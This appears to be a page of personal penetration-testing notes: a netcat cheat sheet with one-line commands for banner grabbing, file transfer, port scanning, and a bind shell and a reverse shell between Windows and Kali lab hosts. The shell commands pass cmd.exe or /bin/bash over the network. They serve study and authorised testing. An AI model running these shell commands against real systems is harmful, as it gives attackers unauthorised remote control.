> For the complete documentation index, see [llms.txt](https://davidtancredi.gitbook.io/pentesting-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://davidtancredi.gitbook.io/pentesting-notes/r3dcl1ff/tools/netcat.md).

# netcat

Assorted commands

**#Banner grab**

`nc -nv 10.10.10.10 80`

**#**<mark style="color:blue;">**Windows**</mark>**&#x20;←→&#x20;**<mark style="color:red;">**Kali**</mark>**&#x20;transfers**

`C:\Users\offsec> nc -nlvp 4444 > incoming.exe`

`nc -nv 10.11.0.22 4444 < /usr/share/windows-resources/binaries/wget.exe`

**#**<mark style="color:red;">**Linux**</mark>**&#x20;←→&#x20;**<mark style="color:red;">**Kali**</mark>**&#x20;Transfers**

Receiver: `netcat -l -p 4444 > received_file.txt`

Sender: `netcat 192.168.65.149 4444 < received_file.txt`

**#Port Scanning**

`netcat -z -v 192.168.65.149 1-1000`

`netcat -z -n -v 198.51.100.0 1-1000 2>&1 | grep succeeded`

**#UDP scan**

`nc -nv -u -z -w 1 10.11.1.115 160-162`

**#Bind Shell (**<mark style="color:blue;">**Windows**</mark>**&#x20;←→&#x20;**<mark style="color:red;">**Kali**</mark>**)**

`C:\Users\offsec> nc -nlvp 4444 -e cmd.exe`

`nc -nv 10.11.0.22 4444`

**#Reverse Shell (**<mark style="color:blue;">**Windows**</mark>**&#x20;←→&#x20;**<mark style="color:red;">**Kali**</mark>**)**

`C:\Users\offsec> nc -nlvp 4444`

`nc -nv 10.11.0.22 4444 -e /bin/bash`
